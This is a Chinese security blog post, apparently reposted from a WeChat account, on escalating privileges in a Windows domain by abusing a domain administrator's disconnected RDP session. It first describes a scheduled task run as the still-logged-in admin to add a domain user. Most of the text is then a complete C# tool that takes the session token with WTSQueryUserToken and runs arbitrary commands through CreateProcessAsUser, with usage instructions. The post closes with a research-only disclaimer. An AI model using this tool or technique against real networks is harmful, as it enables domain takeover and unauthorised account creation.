利用断开的域管理员rdp会话提权

admin 2025年3月5日20:26:15评论8 views字数 3565阅读11分53秒阅读模式

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?

通过计划任务完成域内提权

首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:

利用断开的域管理员rdp会话提权

然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:选择搜索用户位置为域内:

利用断开的域管理员rdp会话提权

选择登录进来的域管用户:

利用断开的域管理员rdp会话提权

设置启动的命令:

利用断开的域管理员rdp会话提权

然后运行计划任务,可以看到成功添加了域内用户:

利用断开的域管理员rdp会话提权

有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:

利用断开的域管理员rdp会话提权

原理分析

原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:

using System;using System.Runtime.InteropServices;using System.ComponentModel;using System.Security.Principal;class Program{    [DllImport("wtsapi32.dll", SetLastError = true)]    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);    [DllImport("kernel32.dll", SetLastError = true)]    static extern bool CloseHandle(IntPtr hObject);    [DllImport("userenv.dll", SetLastError = true)]    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);    [DllImport("userenv.dll", SetLastError = true)]    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);    [DllImport("advapi32.dll", SetLastError = true)]    static extern bool CreateProcessAsUser(        IntPtr hToken,        string lpApplicationName,        string lpCommandLine,        IntPtr lpProcessAttributes,        IntPtr lpThreadAttributes,        bool bInheritHandles,        uint dwCreationFlags,        IntPtr lpEnvironment,        string lpCurrentDirectory,        ref STARTUPINFO lpStartupInfo,        out PROCESS_INFORMATION lpProcessInformation);    [StructLayout(LayoutKind.Sequential)]    struct STARTUPINFO    {        public int cb;        public string lpReserved;        public string lpDesktop;        public string lpTitle;        public uint dwX;        public uint dwY;        public uint dwXSize;        public uint dwYSize;        public uint dwXCountChars;        public uint dwYCountChars;        public uint dwFillAttribute;        public uint dwFlags;        public short wShowWindow;        public short cbReserved2;        public IntPtr lpReserved2;        public IntPtr hStdInput;        public IntPtr hStdOutput;        public IntPtr hStdError;    }    [StructLayout(LayoutKind.Sequential)]    struct PROCESS_INFORMATION    {        public IntPtr hProcess;        public IntPtr hThread;        public uint dwProcessId;        public uint dwThreadId;    }    static void Main(string[] args)    {        if (args.Length < 2)        {            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");            return;        }        int sessionId;        if (!int.TryParse(args[0], out sessionId))        {            Console.WriteLine("Invalid session ID");            return;        }        string command = args[1];        IntPtr userToken = IntPtr.Zero;        IntPtr envBlock = IntPtr.Zero;        try        {            // Get user token for the specified session            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);            if (!tokenResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            // Create environment block            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);            if (!envResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            // Prepare startup info            STARTUPINFO startupInfo = new STARTUPINFO();            startupInfo.cb = Marshal.SizeOf(startupInfo);            startupInfo.lpDesktop = "winsta0\default";            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();            // Create process as user            bool processResult = CreateProcessAsUser(                userToken,                null,                command,                IntPtr.Zero,                IntPtr.Zero,                false,                0x00000400, // CREATE_UNICODE_ENVIRONMENT                envBlock,                null,                ref startupInfo,                out processInfo);            if (!processResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);            // Clean up process handles            CloseHandle(processInfo.hProcess);            CloseHandle(processInfo.hThread);        }        catch (Exception ex)        {            Console.WriteLine("Error: {0}", ex.Message);        }        finally        {            // Clean up resources            if (envBlock != IntPtr.Zero)            {                DestroyEnvironmentBlock(envBlock);            }            if (userToken != IntPtr.Zero)            {                CloseHandle(userToken);            }        }    }}

编译后进行尝试:

利用断开的域管理员rdp会话提权

利用断开的域管理员rdp会话提权

成功完成了token窃取并添加了域内用户。

总结

本文通过演示窃取rdp session token完成域内提权的目的。

利用断开的域管理员rdp会话提权
学习网安实战技能课程,戳“阅读原文“

原文始发于微信公众号(蚁景网安):利用断开的域管理员rdp会话提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:26:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用断开的域管理员rdp会话提权https://cn-sec.com/archives/3800236.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息